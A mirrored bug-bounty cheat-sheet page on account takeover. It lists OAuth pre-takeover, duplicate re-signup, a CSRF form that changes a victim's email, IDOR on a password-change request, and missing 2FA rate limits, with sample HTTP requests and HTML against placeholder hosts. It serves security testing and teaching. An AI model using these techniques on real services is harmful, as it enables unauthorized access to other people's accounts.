mirror of
https://github.com/daffainfo/AllAboutBugBounty.git
synced 2024-12-25 05:45:26 +00:00
56 lines
2.1 KiB
Markdown
56 lines
2.1 KiB
Markdown
# Account Takeover
|
||
|
||
## Introduction
|
||
Account Takeover (known as ATO) is a type of identity theft where a bad actor gains unauthorized access to an account belonging to someone else.
|
||
|
||
## How to exploit
|
||
1. Using OAuth Misconfiguration
|
||
- Victim has a account in evil.com
|
||
- Attacker creates an account on evil.com using OAuth. For example the attacker have a facebook with a registered victim email
|
||
- Attacker changed his/her email to victim email.
|
||
- When the victim try to create an account on evil.com, it says the email already exists.
|
||
|
||
2. Try re-sign up using same email
|
||
```
|
||
POST /newaccount HTTP/1.1
|
||
...
|
||
email=victim@mail.com&password=1234
|
||
```
|
||
After sign up using victim email, try signup again but using different password
|
||
```
|
||
POST /newaccount HTTP/1.1
|
||
...
|
||
email=victim@mail.com&password=hacked
|
||
```
|
||
|
||
3. via CSRF
|
||
- Create an account as an attacker and fill all the form, check your info in the Account Detail.
|
||
- Change the email and capture the request, then created a CSRF Exploit.
|
||
- The CSRF Exploit looks like as given below. I have replaced the email value to anyemail@*******.com and submitted a request in the victim’s account.
|
||
|
||
```html
|
||
<html>
|
||
<body>
|
||
<form action="https://evil.com/user/change-email" method="POST">
|
||
<input type="hidden" value="victim@gmail.com"/>
|
||
<input type="submit" value="Submit Request">
|
||
</form>
|
||
</body>
|
||
</html>
|
||
```
|
||
|
||
4. Chaining with IDOR, for example
|
||
```
|
||
POST /changepassword.php HTTP/1.1
|
||
Host: site.com
|
||
...
|
||
userid=500&password=heked123
|
||
```
|
||
500 is an attacker ID and 501 is a victim ID, so we change the userid from attacker to victim ID
|
||
|
||
5. No Rate Limit on 2FA
|
||
|
||
References:
|
||
- [Pre-Account Takeover using OAuth Misconfiguration](https://vijetareigns.medium.com/pre-account-takeover-using-oauth-misconfiguration-ebd32b80f3d3)
|
||
- [Account Takeover via CSRF](https://medium.com/bugbountywriteup/account-takeover-via-csrf-78add8c99526)
|
||
- [How re-signing up for an account lead to account takeover](https://zseano.medium.com/how-re-signing-up-for-an-account-lead-to-account-takeover-3a63a628fd9f) |